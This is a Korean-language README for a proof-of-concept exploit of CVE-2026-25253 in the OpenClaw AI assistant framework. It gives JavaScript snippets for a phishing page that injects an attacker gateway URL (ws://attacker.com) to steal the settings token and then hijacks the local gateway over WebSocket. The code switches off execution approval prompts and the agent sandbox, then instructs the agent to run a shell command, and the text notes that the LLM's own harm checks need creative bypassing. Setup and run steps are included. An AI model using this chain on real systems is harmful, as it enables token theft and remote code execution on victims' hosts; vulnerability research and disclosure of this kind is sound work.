kajzingerakos/cve-2026-25253CVE-2026-25253에 대한 개념 증명 익스플로잇으로, 인증 토큰 탈취와 교차 사이트 WebSocket 하이재킹을 통해 OpenClaw에서 원클릭 원격 코드 실행을 시연합니다.
영향을 받는 소프트웨어: OpenClaw (clawbot) < v2026.1.29
CVE ID: CVE-2026-25253
CVSS 점수: 8.8 (높음)
영향: 인증되지 않은 원격 공격자가 인증 토큰을 탈취하여 피해자 호스트에서 원격 코드 실행(RCE)을 달성할 수 있음
법적 고지: 이 코드와 분석 자료는 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 명시적인 서면 허가 없이 시스템에 이 익스플로잇을 사용하는 것은 불법이며 비윤리적입니다. 저자는 오용으로 인한 어떠한 책임도 지지 않습니다.
OpenClaw는 이전에 Clawdbot으로 알려졌으며 초기 버전에서는 Moltbot으로 불렸던 AI 어시스턴트 프레임워크로, macOS, Windows 또는 Linux에서 로컬로 실행됩니다. Anthropic 및 OpenAI와 같은 클라우드 기반 모델과 로컬 모델을 모두 지원합니다.
Control UI는 /chat에서 제공되는 단일 페이지 애플리케이션입니다. ws://127.0.0.1:18789/(또는 TLS의 경우 wss://host:18789/)의 WebSocket을 통해 로컬 게이트웨이 서버와 통신합니다.
영향을 받는 버전의 주요 보안 특성:
localStorage 에 저장됨noble-ed25519)을 통해 설정됨type: "req", "res", "event")를 사용함connect 프레임에서 인증 자격 증명과 장치 ID를 전송함applySettingsFromUrl()이 취약점은 Control UI의 applySettingsFromUrl()에 존재합니다.
Control UI가 로드되면 이 함수는 URL에서 ?gatewayUrl= 쿼리 매개변수를 읽어 활성 게이트웨이 엔드포인트로 저장합니다 — 신뢰할 수 있는 호스트를 가리키는지에 대한 검증이 전혀 없습니다.
공격자는 다음과 같은 링크를 제작할 수 있습니다:
http://<target>/chat?gatewayUrl=ws://attacker.com
피해자가 OpenClaw에 인증된 상태에서 이 링크를 클릭하면 다음이 자동으로 발생합니다:
applySettingsFromUrl()이 ws://attacker.com을 새 게이트웨이 URL로 저장connect 프레임을 공격자에게 전송ws://127.0.0.1:18789의 합법적인 게이트웨이에 재전송이 PoC에서 공격자는 피해자 자신의 Control UI를 팝업으로 열고 악성 ?gatewayUrl= 매개변수를 주입하는 페이지(meeting.html)를 호스팅합니다:
const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');
공격자 서버는 OpenClaw의 이중 토큰 폴백(two-token fallback)을 악용합니다: 첫 번째 connect 시도는 장치 토큰(Ed25519에 바인딩되어 재전송 불가)을 사용합니다. 이를 거부함으로써 서버는 Control UI가 설정 토큰(settings token) — 재전송이 가능한 장기 유효 bearer 토큰 — 으로 재시도하도록 강제합니다:
// 1번째 시도 거부 → Control UI가 설정 토큰으로 재시도하도록 강제
if (connectAttempts === 1) {
ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
return;
}
// 2번째 시도 → 설정 토큰 → 캡처됨
capturedToken = token;
탈취한 설정 토큰으로 meeting.html은 실제 게이트웨이(ws://127.0.0.1:18789)에 자체 직접 WebSocket 연결을 엽니다. 이는 v2026.1.29 미만 버전의 게이트웨이가 Origin 헤더를 검증하지 않기 때문에 가능합니다 — 피해자 브라우저에 로드된 모든 페이지가 연결할 수 있습니다.
// 모든 실행 승인 프롬프트 끄기
await sendRequest('exec.approvals.set', {
file: {
defaults: { ask: 'off', autoAllowSkills: true },
agents: { '*': { ask: 'off' } },
}
});
// 컨테이너 샌드박스 탈출, exec를 호스트 머신으로 리디렉션
await sendRequest('config.patch', {
raw: JSON.stringify({
tools: { exec: { host: 'gateway', ask: 'off' } },
agents: { defaults: { sandbox: { mode: 'off' } } },
})
});
메시지 필드의 내용은 에이전트에 구성된 LLM에 의해 처리됩니다. 즉, LLM이 내용을 유해하다고 판단하면 명령을 실행하지 않습니다. LLM의 보안 조치를 우회하려면 창의적인 방법이 필요합니다.
await sendRequest('agent', {
message: 'Execute this shell command: <payload>',
agentId: 'main',
sessionKey: 'agent:main:main',
deliver: false,
});
sequenceDiagram
autonumber
actor Attacker
participant Browser as Victim Browser<br/>(meeting.html)
participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
participant AtkWS as Attacker WS Server<br/>(:8080)
participant GW as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
participant LLM as Cloud LLM<br/>(OpenAI / Anthropic)
Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)
Note over Browser: Phase 1 — Token Theft
Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway
CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)
CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
Note over Browser: Phase 2 — Gateway Hijack (CSWSH)
Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
GW-->>Browser: ✓ Authenticated as operator
Note over Browser: Phase 3 — Security Bypass
Browser->>GW: exec.approvals.set { ask: "off" }
GW-->>Browser: ✓ Approval prompts disabled
Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
GW-->>Browser: ✓ Sandbox disabled, exec on host
Note over Browser: Phase 4 — Remote Code Execution
Browser->>GW: agent { message: "Execute shell command: COMMAND" }
GW->>LLM: Forward prompt (security already stripped)
LLM-->>GW: Tool call: exec("COMMAND")
GW->>GW: Runs command on HOST filesystem
GW-->>Browser: ✓ Command executed
npm install # installs 'ws' dependency
meeting.html 구성const GATEWAY_URL = 'ws://127.0.0.1:18789'; // victim's local gateway
const ATTACKER_WS_PORT = 8080; // must match attacker-server.js
const COMMAND = 'touch /tmp/success';
node attacker-server.js
피해자에게 전송:
http://<ATTACKER_IP>:3000/meeting.html